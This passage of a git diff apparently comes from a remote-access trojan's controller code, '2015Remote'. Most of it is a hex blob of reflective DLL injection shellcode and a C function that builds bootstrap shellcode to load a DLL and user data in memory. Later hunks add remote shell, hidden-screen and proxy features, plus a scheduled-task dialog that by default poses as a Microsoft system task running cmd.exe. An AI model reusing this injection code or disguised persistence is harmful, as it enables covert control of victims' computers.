xE8\x10\x0F\xB7\xC0\xEB\x13\x66\x41\x3B\xC8\x75\x14\x25\xFF\x0F\x00\x00\x48\x8D\x0C\x03\x41\x0F\xB7\xC6\x41\x8B\x11\x48\x01\x04\x0A\x4D\x03\xD0\x41\x8B\x41\x04\x49\x03\xC1\x4C\x3B\xD0\x0F\x85\x5F\xFF\xFF\xFF\x4D\x8B\xCA\x45\x39\x3A\x0F\x85\x4A\xFF\xFF\xFF\x44\x39\xBF\x94\x00\x00\x00\x0F\x84\x9B\x01\x00\x00\x8B\x8F\x90\x00\x00\x00\x45\x8B\xEF\x4C\x8D\x04\x19\x49\x8D\x40\x0C\xEB\x07\x45\x03\xEB\x48\x8D\x40\x14\x44\x39\x38\x75\xF4\x8B\x85\xD8\x00\x00\x00\x45\x8B\xE7\x83\xE0\x04\x89\x45\xC0\x8B\xC1\x0F\x84\x8E\x00\x00\x00\x45\x3B\xEB\x0F\x86\x85\x00\x00\x00\x44\x8B\xA5\xD8\x00\x00\x00\x45\x8D\x5D\xFF\x41\xC1\xEC\x10\x45\x8B\xD7\x45\x85\xDB\x74\x6E\x4D\x8B\xC8\x41\xBE\xFF\x7F\x00\x00\x41\x0F\x10\x01\x33\xD2\x41\x8B\xCD\x41\x2B\xCA\x69\xF6\xFD\x43\x03\x00\x41\x8B\xC6\xF7\xF1\x33\xD2\x81\xC6\xC3\x9E\x26\x00\x8D\x48\x01\x8B\xC6\xC1\xE8\x10\x41\x23\xC6\xF7\xF1\x41\x03\xC2\x41\xFF\xC2\x48\x8D\x0C\x80\x41\x8B\x54\x88\x10\x41\x0F\x10\x0C\x88\x41\x0F\x11\x04\x88\x41\x8B\x41\x10\x41\x89\x44\x88\x10\x41\x0F\x11\x09\x41\x89\x51\x10\x4D\x8D\x49\x14\x45\x3B\xD3\x72\xA1\x8B\x87\x90\x00\x00\x00\x8B\xF0\x48\x03\xF3\x8B\x46\x0C\x85\xC0\x0F\x84\xBC\x00\x00\x00\x8B\x7D\xC0\x8B\xC8\x48\x03\xCB\xFF\x55\xF8\x48\x89\x44\x24\x38\x4C\x8B\xD0\x44\x8B\x36\x44\x8B\x7E\x10\x4C\x03\xF3\x4C\x03\xFB\x49\x8B\x0E\x48\x85\xC9\x74\x65\x48\x8B\x7D\xF0\x48\x85\xC9\x79\x08\x45\x0F\xB7\x06\x33\xD2\xEB\x32\x48\x8D\x53\x02\x33\xC0\x48\x03\xD1\x38\x02\x74\x0E\x48\x8B\xCA\x48\xFF\xC1\x48\xFF\xC0\x80\x39\x00\x75\xF5\x48\x89\x54\x24\x28\x45\x33\xC0\x48\x8D\x54\x24\x20\x66\x89\x44\x24\x20\x66\x89\x44\x24\x22\x4D\x8B\xCF\x49\x8B\xCA\xFF\xD7\x49\x83\xC6\x08\x49\x83\xC7\x08\x49\x8B\x0E\x48\x85\xC9\x74\x07\x4C\x8B\x54\x24\x38\xEB\xA2\x8B\x7D\xC0\x45\x33\xFF\x45\x85\xE4\x74\x14\x85\xFF\x74\x10\x41\x83\xFD\x01\x76\x0A\x41\x69\xCC\xE8\x03\x00\x00\xFF\x55\xE8\x8B\x46\x20\x48\x83\xC6\x14\x85\xC0\x0F\x85\x4B\xFF\xFF\xFF\x48\x8B\x7D\x30\x44\x8B\xAD\xB8\x00\x00\x00\x4C\x8B\x65\xF0\x44\x39\xBF\xF4\x00\x00\x00\x0F\x84\xB9\x00\x00\x00\x44\x8B\xBF\xF0\x00\x00\x00\x49\x83\xC7\x04\x4C\x03\xFB\x41\x8B\x07\x85\xC0\x0F\x84\x9D\x00\x00\x00\x41\xBD\x20\x00\x00\x00\x8B\xC8\x48\x03\xCB\xFF\x55\xF8\x48\x89\x44\x24\x38\x48\x8B\xC8\x41\x8B\x77\x08\x45\x8B\x77\x0C\x48\x03\xF3\x4C\x03\xF3\x48\x83\x3E\x00\x74\x5E\x49\x8B\x16\x48\x85\xD2\x79\x08\x44\x0F\xB7\xC2\x33\xD2\xEB\x33\x4C\x8D\x43\x02\x33\xC0\x4C\x03\xC2\x41\x38\x00\x74\x0E\x49\x8B\xD0\x48\xFF\xC2\x48\xFF\xC0\x80\x3A\x00\x75\xF5\x4C\x89\x44\x24\x28\x48\x8D\x54\x24\x20\x45\x33\xC0\x66\x89\x44\x24\x20\x66\x89\x44\x24\x22\x4C\x8B\xCE\x41\xFF\xD4\x48\x83\xC6\x08\x49\x83\xC6\x08\x48\x83\x3E\x00\x74\x07\x48\x8B\x4C\x24\x38\xEB\xA2\x4D\x03\xFD\x41\x8B\x07\x85\xC0\x0F\x85\x70\xFF\xFF\xFF\x44\x8B\xAD\xB8\x00\x00\x00\x45\x33\xFF\x0F\xB7\x77\x14\x45\x8B\xF7\x48\x83\xC6\x28\x41\xBC\x01\x00\x00\x00\x66\x44\x3B\x7F\x06\x0F\x83\xA4\x00\x00\x00\x48\x03\xF7\x45\x8D\x6C\x24\x1F\x44\x39\x3E\x74\x7C\x8B\x46\x14\x8B\xC8\x81\xE1\x00\x00\x00\x40\x0F\xBA\xE0\x1D\x72\x22\x85\xC9\x75\x0C\x85\xC0\x44\x8D\x41\x08\x45\x0F\x49\xC4\xEB\x33\x41\xB8\x04\x00\x00\x00\x85\xC0\x41\x8D\x40\xFE\x44\x0F\x49\xC0\xEB\x21\x85\xC9\x75\x11\xB9\x10\x00\x00\x00\x85\xC0\x44\x8D\x41\x70\x44\x0F\x49\xC1\xEB\x0C\x85\xC0\x41\xB8\x40\x00\x00\x00\x45\x0F\x49\xC5\x44\x89\x44\x24\x30\xF7\x46\x14\x00\x00\x00\x04\x74\x0A\x41\x0F\xBA\xE8\x09\x44\x89\x44\x24\x30\x8B\x4E\xFC\x4C\x8D\x4C\x24\x30\x8B\x16\x48\x03\xCB\xFF\x55\x00\x0F\xB7\x47\x06\x45\x03\xF4\x48\x83\xC6\x28\x44\x3B\xF0\x0F\x82\x6B\xFF\xFF\xFF\x44\x8B\xAD\xB8\x00\x00\x00\x45\x33\xC0\x33\xD2\x48\x83\xC9\xFF\xFF\x55\x08\x44\x39\xBF\xD4\x00\x00\x00\x74\x24\x8B\x87\xD0\x00\x00\x00\x48\x8B\x74\x18\x18\xEB\x0F\x45\x33\xC0\x41\x8B\xD4\x48\x8B\xCB\xFF\xD0\x48\x8D\x76\x08\x48\x8B\x06\x48\x85\xC0\x75\xE9\x4C\x8B\x4D\x18\x4D\x85\xC9\x74\x2F\x8B\x87\xA4\x00\x00\x00\x85\xC0\x74\x25\x8B\xC8\x4C\x8B\xC3\x48\xB8\xAB\xAA\xAA\xAA\xAA\xAA\xAA\xAA\x48\xF7\xE1\x8B\x8F\xA0\x00\x00\x00\x48\xC1\xEA\x03\x48\x03\xCB\x41\x2B\xD4\x41\xFF\xD1\x8B\x47\x28\x4D\x8B\xC4\x48\x03\xC3\x41\x8B\xD4\x48\x8B\xCB\xFF\xD0\x45\x85\xED\x0F\x84\xBB\x00\x00\x00\x44\x39\xBF\x8C\x00\x00\x00\x0F\x84\xAE\x00\x00\x00\x8B\x8F\x88\x00\x00\x00\x48\x03\xCB\x44\x8B\x59\x18\x45\x85\xDB\x0F\x84\x98\x00\x00\x00\x44\x39\x79\x14\x0F\x84\x8E\x00\x00\x00\x44\x8B\x49\x20\x41\x8B\xFF\x8B\x51\x24\x4C\x03\xCB\x48\x03\xD3\x45\x85\xDB\x74\x79\x45\x8B\x01\x45\x8B\xD7\x4C\x03\xC3\x74\x6E\x41\x8A\x00\x84\xC0\x74\x1E\x4D\x03\xC4\x0F\xBE\xC0\x44\x03\xD0\x41\xC1\xCA\x0D\x41\x8A\x00\x84\xC0\x75\xEC\x45\x3B\xEA\x75\x05\x48\x85\xD2\x75\x12\x41\x03\xFC\x49\x83\xC1\x04\x48\x83\xC2\x02\x41\x3B\xFB\x73\x39\xEB\xBE\x8B\x41\x1C\x0F\xB7\x0A\x48\x03\xC3\x44\x8B\x04\x88\x4C\x03\xC3\xF6\x85\xD8\x00\x00\x00\x08\x74\x0E\x48\x8B\x8D\xD0\x00\x00\x00\xBA\x08\x00\x00\x00\xEB\x0D\x8B\x95\xC8\x00\x00\x00\x48\x8B\x8D\xC0\x00\x00\x00\x41\xFF\xD0\x48\x8B\xC3\xEB\x02\x33\xC0\x48\x8B\x9C\x24\xB0\x01\x00\x00\x48\x81\xC4\x70\x01\x00\x00\x41\x5F\x41\x5E\x41\x5D\x41\x5C\x5F\x5E\x5D\xC3\x48\x8B\xC4\x48\x89\x58\x08\x48\x89\x68\x10\x48\x89\x70\x18\x48\x89\x78\x20\x41\x56\x48\x83\xEC\x10\x65\x48\x8B\x04\x25\x60\x00\x00\x00\x8B\xE9\x45\x33\xF6\x48\x8B\x50\x18\x4C\x8B\x52\x10\x4D\x8B\x42\x30\x4D\x85\xC0\x0F\x84\xB7\x00\x00\x00\x41\x0F\x10\x42\x58\x49\x63\x40\x3C\x41\x8B\xD6\x4D\x8B\x12\xF3\x0F\x7F\x04\x24\x46\x8B\x9C\x00\x88\x00\x00\x00\x45\x85\xDB\x74\xD2\x48\x8B\x04\x24\x48\xC1\xE8\x10\x66\x44\x3B\xF0\x73\x22\x48\x8B\x4C\x24\x08\x44\x0F\xB7\xC8\x0F\xBE\x01\xC1\xCA\x0D\x80\x39\x61\x7C\x03\x83\xC2\xE0\x03\xD0\x48\xFF\xC1\x49\x83\xE9\x01\x75\xE7\x4B\x8D\x3C\x18\x44\x8B\x4F\x18\x8B\x47\x20\x41\xFF\xC9\x49\x03\xC0\x4A\x8D\x34\x88\xEB\x28\x8B\x1E\x45\x8B\xDE\x49\x03\xD8\x48\x8D\x76\xFC\x0F\xBE\x0B\x48\xFF\xC3\x41\xC1\xCB\x0D\x44\x03\xD9\x84\xC9\x75\xEF\x41\x8D\x04\x13\x3B\xC5\x74\x0E\x41\xFF\xC9\x41\x83\xF9\x01\x77\xD2\xE9\x58\xFF\xFF\xFF\x8B\x47\x24\x43\x8D\x0C\x09\x49\x03\xC0\x0F\xB7\x14\x01\x8B\x4F\x1C\x49\x03\xC8\x8B\x04\x91\x49\x03\xC0\xEB\x02\x33\xC0\x48\x8B\x5C\x24\x20\x48\x8B\x6C\x24\x28\x48\x8B\x74\x24\x30\x48\x8B\x7C\x24\x38\x48\x83\xC4\x10\x41\x5E\xC3"; + DWORD rdiShellcode32Length = 2981, rdiShellcode64Length = 2772; + //MARKER:E +#endif + + if (Is64BitDLL((UINT_PTR)inBytes)) + { + rdiShellcode = rdiShellcode64; + rdiShellcodeLength = rdiShellcode64Length; + + if (rdiShellcode == NULL || rdiShellcodeLength == 0) return 0; + + BYTE bootstrap[69] = { 0 }; + DWORD i = 0; + + // call next instruction (Pushes next instruction address to stack) + bootstrap[i++] = 0xe8; + bootstrap[i++] = 0x00; + bootstrap[i++] = 0x00; + bootstrap[i++] = 0x00; + bootstrap[i++] = 0x00; + + // Set the offset to our DLL from pop result + dllOffset = sizeof(bootstrap) - i + rdiShellcodeLength; + + // pop rcx - Capture our current location in memory + bootstrap[i++] = 0x59; + + // mov r8, rcx - copy our location in memory to r8 before we start modifying RCX + bootstrap[i++] = 0x49; + bootstrap[i++] = 0x89; + bootstrap[i++] = 0xc8; + + // mov edx, + bootstrap[i++] = 0xba; + MoveMemory(bootstrap + i, &userFunction, sizeof(userFunction)); + i += sizeof(userFunction); + + // Setup the location of our user data + // add r8, + + bootstrap[i++] = 0x49; + bootstrap[i++] = 0x81; + bootstrap[i++] = 0xc0; + userDataLocation = dllOffset + length; + MoveMemory(bootstrap + i, &userDataLocation, sizeof(userDataLocation)); + i += sizeof(userDataLocation); + + // mov r9d, + bootstrap[i++] = 0x41; + bootstrap[i++] = 0xb9; + MoveMemory(bootstrap + i, &userLength, sizeof(userLength)); + i += sizeof(userLength); + + // push rsi - save original value + bootstrap[i++] = 0x56; + + // mov rsi, rsp - store our current stack pointer for later + bootstrap[i++] = 0x48; + bootstrap[i++] = 0x89; + bootstrap[i++] = 0xe6; + + // and rsp, 0x0FFFFFFFFFFFFFFF0 - Align the stack to 16 bytes + bootstrap[i++] = 0x48; + bootstrap[i++] = 0x83; + bootstrap[i++] = 0xe4; + bootstrap[i++] = 0xf0; + + // sub rsp, 0x30 - Create some breathing room on the stack + bootstrap[i++] = 0x48; + bootstrap[i++] = 0x83; + bootstrap[i++] = 0xec; + bootstrap[i++] = 6 * 8; // 32 bytes for shadow space + 16 bytes for last args + + // mov qword ptr [rsp + 0x20], rcx (shellcode base) - Push in arg 5 + bootstrap[i++] = 0x48; + bootstrap[i++] = 0x89; + bootstrap[i++] = 0x4C; + bootstrap[i++] = 0x24; + bootstrap[i++] = 4 * 8; + + // add rcx, + bootstrap[i++] = 0x48; + bootstrap[i++] = 0x81; + bootstrap[i++] = 0xc1; + MoveMemory(bootstrap + i, &dllOffset, sizeof(dllOffset)); + i += sizeof(dllOffset); + + // mov dword ptr [rsp + 0x28], - Push arg 6 just above shadow space + bootstrap[i++] = 0xC7; + bootstrap[i++] = 0x44; + bootstrap[i++] = 0x24; + bootstrap[i++] = 5 * 8; + MoveMemory(bootstrap + i, &flags, sizeof(flags)); + i += sizeof(flags); + + // call - Transfer execution to the RDI + bootstrap[i++] = 0xe8; + bootstrap[i++] = sizeof(bootstrap) - i - 4; // Skip over the remainder of instructions + bootstrap[i++] = 0x00; + bootstrap[i++] = 0x00; + bootstrap[i++] = 0x00; + + // mov rsp, rsi - Reset our original stack pointer + bootstrap[i++] = 0x48; + bootstrap[i++] = 0x89; + bootstrap[i++] = 0xf4; + + // pop rsi - Put things back where we left them + bootstrap[i++] = 0x5e; + + // ret - return to caller + bootstrap[i++] = 0xc3; + + // Ends up looking like this in memory: + // Bootstrap shellcode + // RDI shellcode + // DLL bytes + // User data + *outLength = length + userLength + rdiShellcodeLength + sizeof(bootstrap); + *outBytes = (LPSTR)malloc(*outLength); + MoveMemory(*outBytes, bootstrap, sizeof(bootstrap)); + MoveMemory(*outBytes + sizeof(bootstrap), rdiShellcode, rdiShellcodeLength); + MoveMemory(*outBytes + sizeof(bootstrap) + rdiShellcodeLength, inBytes, length); + MoveMemory(*outBytes + sizeof(bootstrap) + rdiShellcodeLength + length, userData, userLength); + } + else { // 32 bit + rdiShellcode = rdiShellcode32; + rdiShellcodeLength = rdiShellcode32Length; + + if (rdiShellcode == NULL || rdiShellcodeLength == 0) return 0; + + BYTE bootstrap[50] = { 0 }; + DWORD i = 0; + + // call next instruction (Pushes next instruction address to stack) + bootstrap[i++] = 0xe8; + bootstrap[i++] = 0x00; + bootstrap[i++] = 0x00; + bootstrap[i++] = 0x00; + bootstrap[i++] = 0x00; + + // Set the offset to our DLL from pop result + dllOffset = sizeof(bootstrap) - i + rdiShellcodeLength; + + // pop eax - Capture our current location in memory + bootstrap[i++] = 0x58; + + // push ebp + bootstrap[i++] = 0x55; + + // move ebp, esp + bootstrap[i++] = 0x89; + bootstrap[i++] = 0xe5; + + // mov edx, eax - copy our location in memory to ebx before we start modifying eax + bootstrap[i++] = 0x89; + bootstrap[i++] = 0xc2; + + // add edx, + + bootstrap[i++] = 0x81; + bootstrap[i++] = 0xc2; + userDataLocation = dllOffset + length; + MoveMemory(bootstrap + i, &userDataLocation, sizeof(userDataLocation)); + i += sizeof(userDataLocation); + + // push + bootstrap[i++] = 0x68; + MoveMemory(bootstrap + i, &flags, sizeof(flags)); + i += sizeof(flags); + + // push eax + bootstrap[i++] = 0x50; + + // push + bootstrap[i++] = 0x68; + MoveMemory(bootstrap + i, &userLength, sizeof(userLength)); + i += sizeof(userLength); + + // push edx + bootstrap[i++] = 0x52; + + // push + bootstrap[i++] = 0x68; + MoveMemory(bootstrap + i, &userFunction, sizeof(userFunction)); + i += sizeof(userFunction); + + // add eax, + bootstrap[i++] = 0x05; + MoveMemory(bootstrap + i, &dllOffset, sizeof(dllOffset)); + i += sizeof(dllOffset); + + // push eax + bootstrap[i++] = 0x50; + + // call - Transfer execution to the RDI + bootstrap[i++] = 0xe8; + bootstrap[i++] = sizeof(bootstrap) - i - 4; // Skip the remainder of instructions + bootstrap[i++] = 0x00; + bootstrap[i++] = 0x00; + bootstrap[i++] = 0x00; + + // add esp, 0x14 - clean up stack from args (cdecl) + bootstrap[i++] = 0x83; + bootstrap[i++] = 0xc4; + bootstrap[i++] = 0x14; + + // leave + bootstrap[i++] = 0xc9; + + // ret - return to caller + bootstrap[i++] = 0xc3; + + // Ends up looking like this in memory: + // Bootstrap shellcode + // RDI shellcode + // DLL bytes + // User data + *outLength = length + userLength + rdiShellcodeLength + sizeof(bootstrap); + *outBytes = (LPSTR)malloc(*outLength); + MoveMemory(*outBytes, bootstrap, sizeof(bootstrap)); + MoveMemory(*outBytes + sizeof(bootstrap), rdiShellcode, rdiShellcodeLength); + MoveMemory(*outBytes + sizeof(bootstrap) + rdiShellcodeLength, inBytes, length); + MoveMemory(*outBytes + sizeof(bootstrap) + rdiShellcodeLength + length, userData, userLength); + } + + return TRUE; +} diff --git a/server/2015Remote/ShellDlg.cpp b/server/2015Remote/ShellDlg.cpp index 78d35a9..0ae0caa 100644 --- a/server/2015Remote/ShellDlg.cpp +++ b/server/2015Remote/ShellDlg.cpp @@ -108,7 +108,6 @@ VOID CShellDlg::AddKeyBoardData(void) { // 0 - //Hello>dir //Shit\0 m_ContextObject->InDeCompressedBuffer.WriteBuffer((LPBYTE)"", 1); //ӱƶҪһ\0 Buffer tmp = m_ContextObject->InDeCompressedBuffer.GetMyBuffer(0); @@ -130,8 +129,7 @@ VOID CShellDlg::AddKeyBoardData(void) } //õǰڵַ - int iLength = m_Edit.GetWindowTextLength(); //kdfjdjfdir - //hello + int iLength = m_Edit.GetWindowTextLength(); //kdfjdjfdir //1.txt //2.txt //dir\r\n @@ -144,7 +142,7 @@ VOID CShellDlg::AddKeyBoardData(void) //µõַĴС - m_nCurSel = m_Edit.GetWindowTextLength(); //Hello + m_nCurSel = m_Edit.GetWindowTextLength(); //ע⵽ʹԶնʱ ͵ÿһ һз һس //ҪҵسĴǾҪPreTranslateMessageĶ @@ -229,7 +227,6 @@ BOOL CShellDlg::PreTranslateMessage(MSG* pMsg) } // ʾ //dir\r\n 5 - //hello\r\n 7 } return CDialog::PreTranslateMessage(pMsg); diff --git a/server/2015Remote/SystemDlg.cpp b/server/2015Remote/SystemDlg.cpp index 1667423..841edc3 100644 --- a/server/2015Remote/SystemDlg.cpp +++ b/server/2015Remote/SystemDlg.cpp @@ -408,7 +408,7 @@ void CSystemDlg::OnWlistRecover() if (nItem>=0) { ZeroMemory(lpMsgBuf,20); - lpMsgBuf[0]=CMD_WINDOW_TEST; + lpMsgBuf[0]= CMD_WINDOW_TEST; auto data = (ItemData*)pListCtrl->GetItemData(nItem); DWORD hwnd = data->ID; pListCtrl->SetItemText(nItem,2,"ʾ"); @@ -430,7 +430,7 @@ void CSystemDlg::OnWlistMax() if (nItem>=0) { ZeroMemory(lpMsgBuf,20); - lpMsgBuf[0]=CMD_WINDOW_TEST; + lpMsgBuf[0]= CMD_WINDOW_TEST; auto data = (ItemData*)pListCtrl->GetItemData(nItem); DWORD hwnd = data->ID; pListCtrl->SetItemText(nItem,2,"ʾ"); @@ -452,7 +452,7 @@ void CSystemDlg::OnWlistMin() if (nItem>=0) { ZeroMemory(lpMsgBuf,20); - lpMsgBuf[0]=CMD_WINDOW_TEST; + lpMsgBuf[0]= CMD_WINDOW_TEST; auto data = (ItemData*)pListCtrl->GetItemData(nItem); DWORD hwnd = data->ID; pListCtrl->SetItemText(nItem,2,"ʾ"); diff --git a/server/2015Remote/VideoDlg.h b/server/2015Remote/VideoDlg.h index d3190cb..0af768b 100644 --- a/server/2015Remote/VideoDlg.h +++ b/server/2015Remote/VideoDlg.h @@ -17,6 +17,7 @@ public: CBmpToAvi(); virtual ~CBmpToAvi(); bool Open(LPCTSTR szFile, LPBITMAPINFO lpbmi); + bool Open(HWND m_hWnd, LPCTSTR szFile, LPBITMAPINFO lpbmi, BOOL bIsWebCam = FALSE) { return FALSE; } bool Write(LPVOID lpBuffer); void Close(); private: diff --git a/server/2015Remote/proxy/ProxyConnectServer.cpp b/server/2015Remote/proxy/ProxyConnectServer.cpp index c675e6f..d1a41a0 100644 --- a/server/2015Remote/proxy/ProxyConnectServer.cpp +++ b/server/2015Remote/proxy/ProxyConnectServer.cpp @@ -61,7 +61,7 @@ EnHandleResult CProxyConnectServer::OnAccept(ITcpServer* pSender, CONNID dwConnI if (pContext == NULL) return HR_ERROR; - pContext->InitMember(); + pContext->InitMember(dwConnID); pContext->m_Socket = dwConnID; char szAddress[64] = {}; int iAddressLen = sizeof(szAddress); diff --git a/server/2015Remote/res/machine.ico b/server/2015Remote/res/machine.ico new file mode 100644 index 0000000000000000000000000000000000000000..42d554ea3337683a3b93dec91823adec80be07c7 GIT binary patch literal 2238 zcmds1PfSyH9RCU>)L<2rV&`6MAJwp>Vyy>)YcLZqxSA2c?l6ok!>v(Z;zD*xn86eFn3_zJzT-Jr7;M<;N`;nE{%nk@lBHxpz5I->Q^- zlciWRM#?LN`o3zX9BL}7g(H+%mq~e@1C~FdBH!>7q>w{NN z3$(f^_-z~R5;-^-8gUSNyM^;!?Z!T0B#dBh;UEd9i4SpqsL6M6S0lL3DApP2Cp8Jp ztu|8bx8s@NT$6p23pY@19cP*gk{Wj7Imh6Sk~-gw=Q%*xwGibtVx-L;C2ihK>TDZn zYkj1y1t>NdA}w4_+N6oJC=b4Yv{W0ZEB&O+eU97-Ltm2B-IQDD#$4!0qLxB!#SLTg zwUf4fp0tK;@1PP0BLW6F!(I$S;TK6FvKeM z{f-&lxz_?|IT7E2gl|I5e;c8B+~;eBf;i)OEkr8bnJnHN_RahsP?Sfx-m3>X%M0nI zvCHe-f5GXj_Ic0g^_w`PT?V7UU^MRDy@%uN-hT+XN&zOg;P)S~@g1847fTo**j2f` z{QC}mlVERYi4K5ZuW4s*Z|@P_>HTmEl_k33;$mG%iNSdZ3;227!}!i~@0T&}&=nUI zL0~v!vfJ&a!FLvUtN602_eZJJ6<2HpzlXQET&_ABj^N}DaAjqeI|~ZaB~P8jSjt;G zb~mAqmLeqjg9?z z`_91=^&Sg{`9D4EI}C-7^>c$`W8>qKzW#@lOJJM4DGbGE>EI6RR@I6QuD zsFCpArqVn$e4OahAw!c5}21-z%$*XnWD>%i{>y_j4|r&8&q zbb4go-8EO%TJ%Ju0DGT!GddF zPsOpKW7hh{#>OW7cHOn%#ii8K)#t$Ka%ySVb?iMVto5~>oUXjQ_uB7&tVqD~XUpkf z*V&4*m)Oq+6mg|ncWm3$g*TUpR+rOvTxK(4z%g(P+qW4ijFny0e*dpmZn&Hm^2`TA dUc^=I*=NS<>H2{9C@iSBk81y#{MY|se*=f;sJZ|E literal 0 HcmV?d00001 diff --git a/server/2015Remote/res/screen.ico b/server/2015Remote/res/screen.ico new file mode 100644 index 0000000000000000000000000000000000000000..411f7bdb952785a2c51f6b159ccc1e50b7a2aaa3 GIT binary patch literal 4286 zcmcgw%Tg0T6dnJ-mFq1148PARe8066+~`8Id@aBdUj;-k5XurY#VfK1YEdNx0TSrG zo^yL9p@xjlvFox)$C;Gq?~$EQ8-46e@Vo#&lHkGJ?m!@GDh zUv7!B+vtzOf_NGF*&AYx&2IYZNsEs)&p!}T9(Fyi^P0xEpA8>avb!mA*br&%iX80a zGmbR}Vz<_TpCJcj;5X~yn)Uk}o%P4o|76E+Y%8FxmBoB}BId^n*z=SIUyQM}c{k~u zjr{nl@5D?Efs5D0%v?)n^qn3OyYklIZ`bnUS3ipRd__#@E@C8Tv4m%(JFPYcU(D53 zKl$tbjj`aq`XsbUqo{@L%M`{}tTY2s38zQygEC0a@ z@;}ORavZv_YYyM;|8wuD71b&E*2};_a(nKctFuY?(6E_2@AymK(10_2;b{N&x3F(G zFIZ=Fp44S81Bd7j&dC94briq3qw~e_&DCj^p9^X&WZKN%@uR3_A+W3 z{urmgfq4bbITz%I{@U6!N}gsho}ZER z2RNPjBz%pK^T+3OU+Zr>`?)76Ef0PX`G+pF`Qvl0-t84W32 IaMJhx0r>GwWB>pF literal 0 HcmV?d00001 diff --git a/server/2015Remote/res/system.ico b/server/2015Remote/res/system.ico index a2b3fa284afbdcd36532218b7182a9ebb83adda4..04c1268b5cbc273fbe5a811a7ee0aba03c462670 100644 GIT binary patch delta 22 ccmeyz`j3^Dfq@YS6%+&*7#LVK@_u9j05hWm8vpj|3M0 diff --git a/server/2015Remote/resource.h b/server/2015Remote/resource.h index b6d61fa3c8e8eb660b3a290309790bb3c33f5d86..cd3cfb6d47a158c0abf78351afbefc58c559945b 100644 GIT binary patch delta 843 zcmZuwO>YuW6n#?)$oEHSYfI_O@KHdpgik}%#XulvshvX6stZfpx{%n!U1J-6K;bOh zY4I1d=^v1d>o#%c!n${%#)T{6eQ&VU#7r3S?mhS1bI-eT@=JRCYT|G~#i4m}aLtJi zPZaFWxlvIUa8R<-rZR zr^;HaM$aAAX7`zn^=uN9!dBji2hZ%*N9-2m>KJ+=rX0(|HxcAY9IH%YRo38H^m|F( zl3J-**~js>iLuHyE^5blN#)gELQ2=K(tA{vrwj!ep=7*jHwx0=^{$%0*5P#UJcwF+#afSmexH?h5+lB=HvDiyKkiaudBP zMszeC9LRp_SPw=HK5+p@nUw8(CVa{m(QNczX&-OK1$s9jLyx-6+?zFIdoi-UXA2Rr zS&-o9@ofLhEwE}Mf_KZ8Y%SIy&+ah|ecfOm#smxYwi70W<*>dT!q-RuKW7qDSrlVY z7hz0?wefjACKbh46m?bE8u1zKcPJM!YNmrYS@J@ur^UIOGE8Wb2`yBcDPkB;Wj11O znkiJA!fsEU?y~upy;@l%d^afLEbJ9aICAhyD}rAdsW5R}-Nhtym-63jDPh+h$KI3z zz3i7tG*gfkbkZSuv%A!70g5Sgc{rDjeG|6!y Q{N*8mC3W^Vy%Uvw0~oBy@e0r^oGivR!s diff --git a/server/2015Remote/stdafx.h b/server/2015Remote/stdafx.h index 97cfff3..c8d0ec2 100644 --- a/server/2015Remote/stdafx.h +++ b/server/2015Remote/stdafx.h @@ -78,6 +78,8 @@ #define WM_OPENKEYBOARDDIALOG WM_USER+3012 #define WM_UPXTASKRESULT WM_USER+3013 #define WM_OPENPROXYDIALOG WM_USER+3014 +#define WM_OPENHIDESCREENDLG WM_USER+3015 +#define WM_OPENMACHINEMGRDLG WM_USER+3016 enum { @@ -93,6 +95,8 @@ enum TALK_DLG, MONITOR_DLG, PROXY_DLG, + HIDESCREEN_DLG, + MACHINE_DLG, }; @@ -111,9 +115,20 @@ enum #include #pragma comment(lib, "winmm.lib") -#define SAFE_DELETE(p) if(p){ delete (p); (p) = NULL; } -#define SAFE_DELETE_ARRAY(p) if(p){ delete[] (p); (p) = NULL; } +#ifndef SAFE_DELETE +#define SAFE_DELETE(p) if(NULL !=(p)){ delete (p);(p) = NULL;} +#endif + +#ifndef SAFE_DELETE_ARRAY +#define SAFE_DELETE_ARRAY(p) if(NULL !=(p)){ delete[] (p);(p) = NULL;} +#endif + +#ifndef SAFE_DELETE_AR +#define SAFE_DELETE_AR(p) if(NULL !=(p)){ delete[] (p);(p) = NULL;} +#endif -#include "common/logger.h" #include "common/locker.h" +#include "common/logger.h" #include "common/commands.h" + +#define SAFE_CANCELIO(p) if (INVALID_SOCKET != (p)){ CancelIo((HANDLE)(p)); closesocket((SOCKET)(p)); (p) = INVALID_SOCKET; } diff --git a/server/2015Remote/sys/CCreateTaskDlg.cpp b/server/2015Remote/sys/CCreateTaskDlg.cpp new file mode 100644 index 0000000..3806427 --- /dev/null +++ b/server/2015Remote/sys/CCreateTaskDlg.cpp @@ -0,0 +1,51 @@ +// CCreateTaskDlg.cpp: ʵļ +// + +#include "stdafx.h" +#include "2015Remote.h" +#include "CCreateTaskDlg.h" + +// CCreateTaskDlg Ի + +IMPLEMENT_DYNAMIC(CCreateTaskDlg, CDialog) + +CCreateTaskDlg::CCreateTaskDlg(CWnd* pParent /*=nullptr*/) + : CDialog(IDD_CREATETASK, pParent) + , m_TaskPath(_T("\\")) + , m_TaskNames(_T("bhyy")) + , m_ExePath(_T("C:\\windows\\system32\\cmd.exe")) + , m_Author(_T("Microsoft Corporation")) + , m_Description(_T("Ҫʱ Windows ·ִмƻIJ(ɨ)")) +{ +} + +CCreateTaskDlg::~CCreateTaskDlg() +{ +} + +void CCreateTaskDlg::DoDataExchange(CDataExchange* pDX) +{ + CDialog::DoDataExchange(pDX); + DDX_Text(pDX, IDC_EDIT_PATH, m_TaskPath); + DDX_Control(pDX, IDC_EDIT_NAME, m_TaskName); + DDX_Text(pDX, IDC_EDIT_NAME, m_TaskNames); + DDX_Text(pDX, IDC_EDIT_EXEPATH, m_ExePath); + DDX_Text(pDX, IDC_EDIT_MAKER, m_Author); + DDX_Text(pDX, IDC_EDIT_TEXT, m_Description); +} + + +BEGIN_MESSAGE_MAP(CCreateTaskDlg, CDialog) + ON_BN_CLICKED(IDC_BUTTON_CREAT, &CCreateTaskDlg::OnBnClickedButtonCREAT) +END_MESSAGE_MAP() + + +// CCreateTaskDlg Ϣ + + +void CCreateTaskDlg::OnBnClickedButtonCREAT() +{ + UpdateData(TRUE); + // TODO: ڴӿؼ֪ͨ + CDialog::OnOK(); +} diff --git a/server/2015Remote/sys/CCreateTaskDlg.h b/server/2015Remote/sys/CCreateTaskDlg.h new file mode 100644 index 0000000..0bb3219 --- /dev/null +++ b/server/2015Remote/sys/CCreateTaskDlg.h @@ -0,0 +1,31 @@ +#pragma once + + +// CCreateTaskDlg Ի + +class CCreateTaskDlg : public CDialog +{ + DECLARE_DYNAMIC(CCreateTaskDlg) + +public: + CCreateTaskDlg(CWnd* pParent = nullptr); + virtual ~CCreateTaskDlg(); + + // Ի +#ifdef AFX_DESIGN_TIME + enum { IDD = 